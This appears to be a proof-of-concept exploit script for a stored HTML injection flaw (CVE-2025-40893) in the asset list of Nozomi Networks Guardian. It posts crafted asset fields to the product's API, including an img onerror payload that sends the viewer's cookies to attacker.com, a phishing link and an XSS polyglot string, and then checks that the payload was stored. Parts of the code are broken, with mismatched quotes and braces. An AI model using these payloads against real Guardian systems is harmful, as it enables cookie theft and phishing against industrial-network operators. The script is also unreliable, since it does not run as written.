CVE-2025-40893 Nozomi Networks Guardian Asset List存储型HTML注入漏洞

import requests import json # CVE-2025-40893 PoC - Stored HTML Injection in Nozomi Networks Guardian # Target: Nozomi Networks Guardian Asset List functionality TARGET_URL = "https://<guardian-host>/api/v1/assets" ATTACKER_CONTROLLED_DATA = { "asset_name": "<img src=x onerror='window.location.href="https://attacker.com/phishing?c="+document.cookie}'>", "asset_description": "<a href='https://attacker.com/malicious-redirect'>Click for prizes</a>", "asset_ip": "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--> } } def inject_html_payload(): """ Send crafted network packet with HTML injection payload This simulates an attacker sending malicious traffic data """ headers = { "Content-Type": "application/json", "User-Agent": "Nozomi Networks Traffic Analyzer" } payload = { "source": "network_traffic", "asset_data": ATTACKER_CONTROLLED_DATA, "timestamp": "2025-12-18T00:00:00Z" } try: # In real attack, this would be sent to the Guardian sensor/collector response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Payload sent. Status: {response.status_code}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return False def verify_injection(): """ Verify the HTML payload was stored and rendered """ verify_url = f"{TARGET_URL}/list" try: response = requests.get(verify_url, timeout=10) if ATTACKER_CONTROLLED_DATA["asset_name"] in response.text: print("[!] HTML Injection successful - Payload stored and rendered") return True except requests.exceptions.RequestException as e: print(f"Verification failed: {e}") return False if __name__ == "__main__": print("CVE-2025-40893 PoC - Nozomi Networks Guardian HTML Injection") print("=" * 60) if inject_html_payload(): print("[*] Payload sent successfully") # Note: In real scenario, victim must view the asset list print("[*] Waiting for victim to access Asset List...")